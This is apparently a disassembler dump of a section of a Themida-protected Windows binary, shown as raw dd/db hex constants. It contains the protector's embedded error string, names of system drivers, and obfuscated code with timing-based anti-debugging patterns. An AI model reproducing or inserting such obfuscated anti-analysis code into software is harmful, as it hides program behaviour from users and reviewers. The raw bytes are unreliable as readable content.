dd 887618Ah, 9EF039D1h, 0C7CE6BD9h, 38DB6135h, 0E60C5201h
dd 0CE132A2Dh, 0AB39451Fh, 0C58121C8h, 0DFC31BDBh, 22803EF0h
dd 873E4F26h, 61526942h, 0CE2151E3h, 0F4080A01h, 0FFAE3A06h
dd 1497553Ah, 28B65E4Ch, 62F9697Ch, 54D0522Fh, 5CF57E11h
dd 0C830716Bh, 3AF32D55h, 634304Bh, 6E3B6400h, 0CBC12E1Eh
dd 0E957FCh, 4, 33000000h, 69206E41h, 7265746Eh, 206C616Eh
dd 65637865h, 6F697470h, 636F206Eh, 65727563h, 41282064h
dd 65726464h, 203A7373h, 78257830h, 500D0A29h, 7361656Ch
dd 63202C65h, 61746E6Fh, 73207463h, 6F707075h, 6F407472h
dd 6E616572h, 6F632E73h, 54202E6Dh, 6B6E6168h, 756F7920h
dd 21h, 0E3h dup(0)
dd 56000000h, 45000000h, 0
dd 0E9000000h, 1115h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 18h, 0CFC35747h, 2B9936B4h, 1189858Bh, 6A05E2h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 898655C3h, 0E203D195h, 24443905h, 0BF850F04h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h
dd 41000000h, 0CA2CC351h, 2A7F61D8h, 8B609E77h, 0E2171585h
dd 1DBD0B05h, 6105E21Dh, 14E9h, 80008E00h, 0D4936355h
dd 0B05BE999h, 6CD09A2Bh, 65386C8Dh, 8E961h, 5E1D0000h
dd 28A48F51h, 0BD83A147h, 5E22655h, 5B840F00h, 60000000h
dd 0D7D8529h, 0BD8905E2h, 5E20E8Dh, 0ED858D61h, 0F505E239h
dd 6AE0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
dd 56460000h, 49CC4EC3h, 1A8B0Fh, 0E9600000h, 13h, 0B5193AB7h
dd 0A4822CD7h, 981707BDh, 169DC88Ch, 6127BF65h, 2AF59D29h
dd 858B05E2h, 5E2150Dh, 0D6816660h, 8B66160Ah, 443961D3h
dd 850F0424h, 33h, 11E9h, 0D9117B00h, 4A9339E5h, 0D413D937h
dd 0E0BD3F19h, 85C78C0Fh, 5E57A38h, 1, 0D840Fh, 8E90000h
dd 24000000h, 84D0225Dh, 603A1D47h, 6E9h, 0CE633A00h, 0E9371244h
dd 27h, 0FE860h, 0F6E90000h, 0C654BC72h, 0EFE14682h, 0AD1C0E51h
dd 7E95829h, 0F4000000h, 5A703542h, 61B85Fh, 0B8000000h
dd 1, 7BD48587h, 0C00B05E5h, 0B5FFF675h, 5E20A49h, 7A30858Fh
dd 206A05E5h, 95FFFF6Ah, 5E20B41h, 7A1BD83h, 740005E2h
dd 0FF006A08h, 0E20AB995h, 0EDBD8305h, 105E21Fh, 80680D74h
dd 6A000000h, 4195FFFFh, 2905E20Bh, 0E20E31BDh, 7E905h
dd 9A250000h, 1C8BAF8Ah, 6AC02BB8h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0C2B9C357h
dd 0EFA82AD6h, 0F8876A9Eh, 5E860h, 1A2B0000h, 60854021h
dd 0BD295961h, 5E21E91h, 0B5316061h, 5E218ADh, 2B4D8D8Bh
dd 8B6105E2h, 0F282454h, 681h, 45BD3100h, 8905E20Eh, 0E2018985h
dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h
dd 0C3524200h, 3CBE9485h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 7516C356h
dd 24247403h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Bh, 0B1C35747h, 75D18293h, 89020FB6h, 0E205618Dh, 6AAD6605h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h
dd 40000000h, 14F3C350h, 0E985DCF4h, 0E97CB3FFh, 13h, 1D1870E3h
dd 21E3F515h, 0E2B44B2Fh, 48518137h, 0F8810B19h, 24244403h
dd 0CF815660h, 32FB1C03h, 8D9D315Bh, 6105E222h, 0EE950h
dd 8F0F0000h, 6C173B72h, 2A5C15AAh, 0BB32D416h, 6A240489h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h
dd 41000000h, 0BFE3C351h, 0A12949D5h, 0FF670B07h, 0E978408Bh
dd 13h, 9A813EA1h, 37B3A8EEh, 36965EC8h, 804E94DBh, 83B16393h
dd 0E57A38BDh, 850F0005h, 0CFh, 22259509h, 0E99005E2h
dd 9, 0A352A0A2h, 0DD6E473Fh, 666050C5h, 66DA10BFh, 9061F18Bh
dd 12E9h, 67722300h, 0F5B2883Ch, 0FC6CB1Ah, 95DF8F92h
dd 8BD26940h, 6A2C2444h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 15042444h, 41000000h, 0E03BC351h, 0F819D29h
dd 0E99005E2h, 7, 8F4FD11Ch, 50E1C2B2h, 8D0F5360h, 0
aYQGarj db 'Y¾ÐQËgaj',0
dw 0E856h
dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 96C35646h, 1870Fh
dd 89FC0000h, 0E214C9B5h, 0DB86005h, 0F204E0Eh, 8D61DAB7h
dd 0E554A785h, 0D0FFF505h, 12E9h, 64C01800h, 9FBD6CE0h
dd 9757045Ah, 8B117D39h, 390BCCEh, 9282444h, 0E21505B5h
dd 18408B05h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ah, 0FEC35545h, 283E9696h, 800F1151h, 6, 0C5D8D29h
dd 6A4005E2h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 0CC92C356h, 0F3071EDh, 68Dh, 5B58900h
dd 905E201h, 0E22FB5BDh, 34858905h, 6A05E57Ah, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
dd 9EC3C356h, 8FC37696h, 5B0E96E6h, 88B0Fh, 0F600000h
dd 82h, 31606100h, 0E211B58Dh, 0D0B70F05h, 6A5861h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 0BA621EC3h, 0E2C026D4h, 0F196ECBh, 68Ah, 69BD8900h
dd 8B05E213h, 95017870h, 5E223B5h, 6A1CC683h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
dd 6056C352h, 15EF8166h, 858D8972h, 6105E229h, 6A96F9h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 880F17C3h, 8, 2DB58B60h, 6105E221h, 24247C81h, 10000000h
dd 106870Fh, 9D890000h, 5E22651h, 3DB509h, 509005E2h, 2890F52h
dd 60000000h, 0E9310F61h, 5, 8988D96Ah, 50585A1Fh, 12820Fh
dd 52500000h, 820Fh, 310F0000h, 310F5250h, 585A585Ah, 0E9606090h
dd 0Fh, 7913F1Dh, 267BDBBBh, 62973AFDh, 3138C3B9h, 0E221B5BDh
dd 0E8606105h, 7, 0FBE5334Ch, 5858548Eh, 0B36BD981h, 61613ABCh
dd 2824448Bh, 61BD8960h, 0F05E21Bh, 5061F8BFh, 7E95250h
dd 34000000h, 0F750F478h, 310FE715h, 5E9h, 0B7102500h
dd 585A14ECh, 60240489h, 14B58D23h, 958905E2h, 5E23251h
dd 858DF961h, 5E554A7h, 1D5DB589h, 0D0FF05E2h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0ABC35747h, 138C0Fh
dd 0EE90000h, 0BB000000h, 9E6FFF35h, 9DC2D6EAh, 0E064C018h
dd 0D870F6Ch, 0E9000000h, 8, 0C7D3ECA4h, 0A9697910h, 56006A96h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 8539CF2Dh, 0C5B77F24h, 0F28B603Bh, 1F0DB58Bh, 896105E2h
dd 0E213E995h, 24740305h, 1880F24h, 0F9000000h, 0C69BD8Dh
dd 6A05E2h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
dd 56460000h, 0F0B29C3h, 789h, 1860F00h, 0F5000000h, 18B0FADh
dd 0F5000000h, 24247C81h, 10000000h, 114870Fh, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 0F8468BC3h, 0C820F50h, 0F000000h, 68Eh, 0F525000h, 89585A31h
dd 8BF92404h, 6A282444h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 89E1C352h, 0E20CB195h
dd 14E905h, 939D0000h, 6856116Eh, 0BBD1F010h, 122004BDh
dd 1685835Bh, 5090FDDDh, 6800F52h, 0F000000h, 89h, 60310F00h
dd 0BE8h, 54BC7200h, 0E14682C6h, 1C0E51EFh, 0EE95Eh, 3A930000h
dd 9EED73CDh, 59960B18h, 434644F2h, 50585A61h, 0BAB5B060h
dd 3C06ECBCh, 6A9061h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 150424h, 55450000h, 0FDCA9C3h, 1088h, 0BE900h, 0CF470000h
dd 0BAAAEB53h, 97BF95CCh, 858DF9D1h, 5E554A7h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 57C35141h, 0D0FF9D4Dh
dd 4403FCF9h, 6A2424h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 170424h, 57470000h, 0B562FBC3h, 99858962h, 0AB05E21Ah
dd 0ADBD8B60h, 2905E21Eh, 0E204BDB5h, 0FA816105h, 10000h
dd 6B4820Fh, 80600000h, 81668BC7h, 61DC62CAh, 2991BD8Dh
dd 6A05E2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
dd 57470000h, 105CFBC3h, 8B6660E4h, 0C19D09DAh, 6105E20Ch
dd 263D9D29h, 6AAD05E2h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 17042444h, 47000000h, 0A831C357h, 9529569Ch
dd 5E2061Dh, 6099D89h, 890F05E2h, 0Bh, 6E9h, 0B2F5DA00h
dd 8104AC40h, 24247Ch, 0F100000h, 0AE87h, 17800F00h, 0E9000000h
dd 12h, 811DAC47h, 92AFDBFFh, 0CA744B6Fh, 0D4BBE210h, 9D09AF41h
dd 5E218B5h, 0C840F90h, 0F000000h, 689h, 8C0F00h, 50000000h
dd 66525060h, 310FDE8Bh, 585ADE8Bh, 90615B53h, 61F8F860h
dd 0B840Fh, 6E90000h, 4D000000h, 0C6BF3E17h, 24448B8Bh
dd 55006A28h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h
dd 0C3554500h, 2EA72CEAh, 504588E5h, 9E9h, 6CAF5500h, 0A688B062h
dd 489B262h, 4DBD8924h, 8D05E20Dh, 0E554A785h, 958D8905h
dd 0FF05E22Fh, 759589D0h, 305E211h, 89242444h, 0E2008DBDh
dd 870F5005h, 0Ch, 6890Fh, 8C0F0000h, 0
dd 6A240489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 17042444h, 45000000h, 2140C355h, 0ABF87F2Eh, 0CE9h
dd 8D8ED200h, 0D96B3666h, 323E60AFh, 71BD8D6Dh, 6A05E22Ch
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h
dd 43000000h, 0D5A5C353h, 529C8447h, 6AADF8h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 160424h, 52420000h, 4ED64EC3h
dd 8AD8D89h, 7C8105E2h, 2824h, 870F1000h, 0BEh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 93C35545h, 97A71BE5h
dd 80B86050h, 66713259h, 8961FE8Bh, 6A2404h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 789F6BC3h
dd 0C8822839h, 0C18B6660h, 24448B61h, 7E92Ch, 6B790000h
dd 0BB8B4C7Ah, 800F501Fh, 12h, 820F5250h, 0
dd 8E0F310Fh, 0
dd 489585Ah, 0B9B58924h, 8D05E21Eh, 0E554A785h, 49BD8905h
dd 0FF05E21Dh, 53006AD0h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1804h, 0C3534300h, 364978CFh, 0B5336024h
dd 5E22649h, 440361F5h, 870F2824h, 6, 64D8D29h, 8D0F05E2h
dd 15h, 0F850Fh, 0AE90000h, 0A5000000h, 1ED79705h, 0A485B9CCh
dd 870FABAEh, 1Dh, 178A0Fh, 12E90000h, 9A000000h, 921E0552h
dd 72F267A8h, 0B7869B60h, 0BB19D812h, 8DFF5EA5h, 5E57A34h
dd 7A34BD83h, 750005E5h, 8DC0330Ah, 0E58889B5h, 56E6FF05h
dd 247C81ADh, 28h, 500E7710h, 2C24448Bh, 0A7858D50h, 0FF05E554h
dd 244403D0h, 0DF8B9728h, 7A30858Ah, 0C08405E5h, 73A0474h
dd 32574C75h, 0FD75AEC0h, 52FB2B5Eh, 49C933FCh, 0C033D18Bh
dd 32ACDB33h, 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h, 73D8D166h
dd 41356609h, 0F3816650h, 0CEFE5449h, 0C833EB75h, 754FD333h
dd 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h, 835E0F74h
dd 85FF04C6h, 5E20189h, 0FFFF5DE9h, 860F5EFFh, 0Ch, 7E9h
dd 21276C00h, 9D9627CBh, 15D58589h, 858B05E2h, 5E20189h
dd 1DEDB589h, 0E0D105E2h, 718503F5h, 6005E22Ch, 89D68B66h
dd 0E213F9B5h, 0BE6105h, 60000000h, 0DFB70F60h, 89615E53h
dd 0E201358Dh, 6A966105h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 3306C352h, 21498589h
dd 860F05E2h, 7, 1880Fh, 66F90000h, 158D0FADh, 0E9000000h
dd 10h, 721D8F40h, 0E1B23C91h, 80152623h, 82D2E350h, 0F02E0C1h
dd 688h, 9958900h, 305E21Dh, 0E20C6985h, 53006A05h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
dd 0C06BCFEFh, 9E916B1h, 0CC000000h, 0BC208ECFh, 0ACB3AFE2h
dd 598D8996h, 0E905E213h, 14h, 55904AF2h, 92C84BF3h, 64EF0EA2h
dd 0C8790131h, 28B634C0h, 1880FADh, 0F9000000h, 24247C81h
dd 10000000h, 0F5870Fh, 0BD890000h, 5E22619h, 0BE990h
dd 79140000h, 15E8E865h, 0B9CFAD92h, 14E950B6h, 8B000000h
dd 942A4A4Ch, 70D08E3Fh, 8E1A76EFh, 5B652A45h, 904F930Ch
dd 1F998531h, 0F6005E2h, 38Ah, 0C9B70F00h, 61FA8B66h, 2824448Bh
dd 525090F9h, 665E5160h, 611BDDBFh, 860F310Fh, 6, 310F5250h
dd 585A585Ah, 12E950h, 94E10000h, 0E3477A0Ch, 0F5896E7Bh
dd 5475DF2Fh, 0FEDB1059h, 52006A90h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 1E4C7FB3h
dd 8DEFBCDBh, 0E554A785h, 53006A05h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 60EF801Ah
dd 2189B533h, 810F05E2h, 6, 1775958Bh, 0F96105E2h, 14E9D0FFh
dd 0FE000000h, 0FA92707Dh, 7692347Ch, 27DF91E7h, 2FD4693Ah
dd 3B0DFC4h, 6A242444h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 0B5D1C356h, 9C65F51Fh
dd 0F533D67Dh, 1C244489h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 19h, 67C35545h, 0C233F35Dh, 59BD8918h, 0C605E22Bh
dd 0E20A4985h, 85C70005h, 5E57BD4h, 0
dd 7A3885C7h, 5E5h, 0BB600000h, 26DBA9F1h, 17A98589h, 6A6105E2h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h
dd 43000000h, 8496C353h, 0D5A6953Dh, 16A967Ah, 0E213D58Dh
dd 6A6105h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
dd 57470000h, 9D2976C3h, 5E21131h, 6A0008C2h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 0ACCFC352h, 43809EE5h, 19860F40h, 0F000000h, 1389h
dd 0EE900h, 7F250000h, 178BE8CEh, 4ABF12FCh, 0C04FBCBBh
dd 2AE19D29h, 858B05E2h, 5E20C69h, 7810Fh, 830F0000h, 1
dd 95894AF8h, 5E20C91h, 6A04D26Bh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0A61C355h
dd 8B607AB5h, 0E20CB9BDh, 5E805h, 3A680000h, 805E5454h
dd 615983E6h, 6AC203h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 8B5DEFC3h, 6096F9EAh, 2F959D03h
dd 0B52B05E2h, 5E20D31h, 0F60AD61h, 0B523D3BFh, 5E20499h
dd 247C8161h, 24h, 3870F10h, 6A000001h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0F4E4C353h
dd 8901716Ch, 0E217F99Dh, 840F5005h, 0Ch, 6830Fh, 8B0F0000h
dd 0
dd 0E9240489h, 6, 0B83A747Bh, 448B92E5h, 6E92824h, 2B000000h
dd 17432545h, 8E950A4h, 77000000h, 55B70F91h, 893A2940h
dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
dd 53430000h, 0AD6136C3h, 11E9259Ch, 0E8000000h, 0AF9AB839h
dd 0F92AE11Bh, 9133D8DCh, 789D6293h, 54A7858Dh, 800F05E5h
dd 0Ch, 6880Fh, 0BD310000h, 5E21459h, 6AD0FFh, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 668B89C3h, 4F82D914h, 95319236h, 5E20729h, 1B8A0FF5h
dd 0F000000h, 158Ah, 10E900h, 0C7CF0000h, 0F3D7522Ch, 5B24E14Dh
dd 3EF53EADh, 48E9168Dh, 6AFFFFFDh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 2E42C356h
dd 96952D5Ah, 57558C73h, 14E9h, 836800h, 0E0C321AFh, 0BC4EB95h
dd 469F9982h, 73040624h, 9E858D7Ah, 0F05E58Eh, 138Eh, 0EE900h
dd 0B8BE0000h, 0B92D3A9h, 532CB680h, 0FC1FE676h, 11E86050h
dd 0AD000000h, 456FAC79h, 0B8641871h, 0EBA35E1Fh, 0F352109Ah
dd 0E8585A53h, 10h, 0B144830Ch, 4C2658D2h, 448DD497h, 0F274D38Bh
dd 800Fh, 61590000h, 6A240489h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 15042444h, 46000000h, 0B3C4C356h, 68D0Fh
dd 0BD310000h, 5E22C19h, 7A5BD89h, 0FF6405E2h, 35h, 5E900h
dd 693D0000h, 8B17D535h, 8B0F2404h, 19h, 14E9h, 7FF8D300h
dd 7975623Bh, 0DB47E2A4h, 82235D97h, 62B61EC1h, 19858962h
dd 6A05E233h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1C042444h, 41000000h, 0FCBFC351h, 7C4BD77Ah, 0F6DB717h
dd 68Dh, 0D8D3100h, 0F05E20Dh, 138Ah, 0EE900h, 7A950000h
dd 82E10356h, 0DA105207h, 43E9D1AEh, 258964h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 4DA8C351h, 4313CEB8h, 0F891E3A5h, 8CD5858Dh
dd 89FC05E5h, 0DE90160h, 36000000h, 96E534C5h, 3F333E43h
dd 4E72A857h, 21DE9h, 14E900h, 86C30000h, 0EB36E62Fh, 8023BBEFh
dd 9E2DE5Eh, 0D23F4847h, 0DB8BD4A6h, 0E8h, 0ED815D00h
dd 5E58CCEh, 12FF9CBCh, 0EDBD8300h, 5E21Fh, 858B1874h
dd 5E21F35h, 8B0000C6h, 0E2192D85h, 0C605h, 40595FFh, 0FF6005E2h
dd 0E5763CB5h, 40858D05h, 5005E576h, 7838858Dh, 0FF5005E5h
dd 0E22C2995h, 0CC48305h, 0E9858961h, 0F05E22Bh, 88Ah
dd 2840F00h, 60000000h, 38B58D61h, 8905E578h, 0E231658Dh
dd 0D9B58905h, 8D05E21Ch, 0E22D8DBDh, 7D9D2905h, 8005E204h
dd 840F003Eh, 60h, 12E9h, 0A4D4F000h, 0E2BBD0DFh, 0F11B9F04h
dd 0F6F63540h, 0A42A0331h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ah, 3EC35141h, 0BC1859CCh, 9531EEBAh, 5E21905h
dd 0FFFFB2E9h, 0F8E0FFFh, 0E9000000h, 0Ah, 0E771AC9h, 0C94E4FAAh
dd 9589E78Dh, 5E22619h, 0B8h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 25884514h
dd 85896068h, 5E20AFDh, 76C6E881h, 0F56148C3h, 19DDB589h
dd 6AAA05E2h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 0C490C356h, 7879D19Eh, 38823843h
dd 7B8h, 9DBD0900h, 0C705E21Fh, 0E2078185h, 105h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 8D8D64D1h, 5E24C42h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 16h, 54C35343h, 85299830h, 5E231D1h, 6AE1FFh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 4DE792C3h, 1523FE2Dh, 29D9259Bh, 0E21EE5B5h
db 5
byte_526B55 db 8Bh, 5Ch, 24h ; DATA XREF: Themida_:004EF7F4o
dd 0E8550Ch, 5D000000h, 8EA8ED81h, 838B05E5h, 0B8h, 763C8589h
dd 858D05E5h, 5E58CC7h, 0B88389h, 335D0000h, 6AC3C0h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 6F58C1C3h, 5142B8D1h, 880F8E8Bh, 19h, 14E9h, 0D6806B00h
dd 37716A58h, 424733C6h, 0A863FC16h, 70E30EEEh, 5E918h
dd 0A2160000h, 89498BAAh, 0E2117195h, 8E96005h, 48000000h
dd 0FB5C15Bh, 8D5BEF0Bh, 0E590AB85h, 12E905h, 329A0000h
dd 4E48F0B1h, 2F135AACh, 0AC9B96CDh, 0D8CB2411h, 840F6050h
dd 3, 0E8F08B66h, 9, 4F7192B1h, 0F05386AFh, 0DE95Ah, 14DE0000h
dd 6F40EBF1h, 0B820AA09h, 5FDE222Bh, 24048961h, 6810Fh
dd 9D310000h, 5E21381h, 35FF64h, 60000000h, 378EC981h
dd 64613CCEh, 2589h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1A0424h, 56460000h, 36F9AC3h, 0BAF9F008h
dd 108D0Fh, 0BE90000h, 71000000h, 284E6C3Bh, 0B84F44C1h
dd 858D8620h, 5E59141h, 0DF8BF860h, 7E86061h, 0B6000000h
dd 513C5E6Eh, 858B52BDh, 5E21D2Dh, 59958B5Fh, 6105E21Bh
dd 60016089h, 0D3D38166h, 85C661EBh, 5E20A49h, 55BD894Fh
dd 2905E20Eh, 0E2253585h, 387E6805h, 6660C051h, 0B866F08Bh
dd 8161C47Bh, 4C542434h, 0BE93E99h, 0E2000000h, 4CF40401h
dd 0F16AD8FDh, 0B5FFA0E1h, 5E216A1h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 0E8C35040h, 0A7B25229h, 6E9h
dd 0EEF49E00h, 8D9239E2h, 0E57A6185h, 0A1950905h, 0FF05E223h
dd 818D29D0h, 8905E208h, 0E23245B5h, 0B6E905h, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 970C1FC3h, 5C8B2A94h, 0E8550C24h, 0
dd 0B5ED815Dh, 8B05E590h, 0E2262D85h, 0A1858905h, 8B05E216h
dd 0E2150D85h, 35858905h, 8B05E216h, 0E2118985h, 99858905h
dd 0C605E22Fh, 0E20A4985h, 85C70005h, 5E57BD4h, 0
dd 9141858Dh, 838905E5h, 0B8h, 0C3C0335Dh, 12E9h, 0C017FF00h
dd 2F2F05ADh, 5F0D68A9h, 32EBDB5h, 6A70AA79h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
dd 65BBC350h, 1F9ECAC2h, 9589F5F5h, 5E21535h, 12FF74BCh
dd 11890F00h, 60000000h, 6E8h, 0A1710C00h, 5985F53Fh, 61CAC880h
dd 95895660h, 5E21C91h, 819D895Bh, 6105E218h, 58F64h, 1000000h
dd 0E215C5B5h, 0C483F905h, 55006A04h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 830F6A14h
dd 1, 0BD8960FCh, 5E229ADh, 1D2DBD29h, 616105E2h, 7E8h
dd 7F118900h, 36D3CD1Ah, 8B58F7B7h, 0E20B1995h, 0F7C08105h
dd 8000005Eh, 0FF2B79D5h, 0FFCB8B66h, 0E9810734h, 5301186Dh
dd 0D381665Eh, 0F68143BEh, 43716224h, 6860Fh, 958B0000h
dd 5E208C1h, 1C39C681h, 0CBB92C98h, 815222E2h, 82783CEEh
dd 20B96664h, 3834897Bh, 6E9h, 0EB87F300h, 0E88CC48Eh
dd 0Bh, 6DC0D779h, 8E20302Ch, 3138DDB3h, 0E224919Dh, 0EF835A05h
dd 0FF81F904h, 0FFFFA198h, 0FF95850Fh, 0F51FFFFh, 284h
dd 59595100h, 12E8h, 87EB6E00h, 18F16353h, 8E456AE4h, 1BD1503Eh
dd 8B7631F3h, 860F5ECEh, 6, 2AE9BD8Bh, 0C68105E2h, 616Fh
dd 13919D89h, 54B805E2h, 8128A6F5h, 0A6DD1DE8h, 118D8B28h
dd 0FF05E20Dh, 5E836h, 32D00000h, 601E42FFh, 972DE2B9h
dd 5023BE3Fh, 5F6146C6h, 0CCCF815Ah, 8115D89Fh, 0A0495EF2h
dd 15BD8924h, 8105E221h, 0B33A0C2h, 0D381661Dh, 0F281F0C2h
dd 32CFE7FEh, 89DAB70Fh, 0DFDB8116h, 83083019h, 5F5604EEh
dd 0F01E883h, 0FFFFAA85h, 0D9BF0FFFh, 464934EBh, 52474D53h
dd 4B562020h, 20202044h, 4D562020h, 2020204Dh, 57562020h
dd 32334E49h, 58562020h, 52444C44h, 2020h, 2 dup(0)
dd 0FDE90000h, 0E9000006h, 0Dh, 0C2E8FFD8h, 0CF723B6Fh
dd 0C4576B54h, 9E96047h, 0A000000h, 4262D6CAh, 1E9144E3h
dd 930F85C7h, 5E5h, 820F0000h, 9, 8202BF60h, 0DE8A671Ch
dd 6AC68B61h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 3E10C356h, 0F45A9E2h, 5660D8B7h
dd 14E9h, 9116E100h, 9C34B698h, 60D1922h, 0D0336993h, 0F38CF1AFh
dd 8A0F5BD0h, 3, 61F1BF0Fh, 0EA84BB60h, 0DA8018AEh, 0E8C161DEh
dd 1E8C0F10h, 0F000000h, 1882h, 13E900h, 82E90000h, 65E7FABFh
dd 508EBFB6h, 0ABF06A01h, 0F882F68h, 0C8C166A4h, 0FF96008h
dd 8961F2B7h, 0E5931385h, 6E905h, 58560000h, 0C1B440EAh
dd 8CBC166h, 0CE9h, 8FCB4900h, 22F12DFEh, 1A7ED09Ch, 10810F06h
dd 0E9000000h, 0Bh, 7C550BADh, 2E4DEEF9h, 834EA313h, 850F40FBh
dd 45h, 0E7BD8DFCh, 6A05E592h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1D042444h, 41000000h, 7EEBC351h, 77EB7E83h
dd 67BAE7F9h, 8B5160FCh, 0F86058FBh, 92E96161h, 0E9000001h
dd 5, 0BA3A0E87h, 0DFB837Ch, 61850Fh, 6A0000h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 87162FC3h, 0CB253DD4h, 4CF38060h, 612FE880h, 92EFBD8Dh
dd 0CE905E5h, 0E000000h, 747CBA3Ah, 1B797235h, 0E90D1BDBh
dd 0Fh, 418ACC01h, 69097C85h, 8B1FA19h, 0E9CF565Eh, 125h
dd 1810Fh, 83FC0000h, 850F01FBh, 68h, 12E9h, 8A1B8200h
dd 97FE3946h, 4E124506h, 0D6779F6h, 8D9E3E14h, 0E592F7BDh
dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h
dd 0C3514100h, 0E9B9EF99h, 0D5h, 10E85660h, 45000000h
dd 0F2D45655h, 8FAC99F1h, 0B375BCC9h, 5F4A06F2h, 9E95Fh
dd 2E540000h, 0D0CA3434h, 613332BCh, 0F2AFB83h, 6D85h
dd 13E900h, 2A260000h, 2C94C1D8h, 70CF6E29h, 53EC24D4h
dd 0C207E36h, 0FFBD8DA6h, 6A05E592h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 748EC357h
dd 5E9E84Fh, 0A9000000h, 0F63721DBh, 58E9h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
dd 4D6156E8h, 0FB83E8F7h, 46850F27h, 0E9000003h, 0Dh, 5960002Eh
dd 0F2B25FD4h, 588218EFh, 7BD8D76h, 6005E593h, 0DE9h, 0EDEB3C00h
dd 81687DA6h, 2CEF99Ch, 6CB62630h, 17BD8961h, 6005E593h
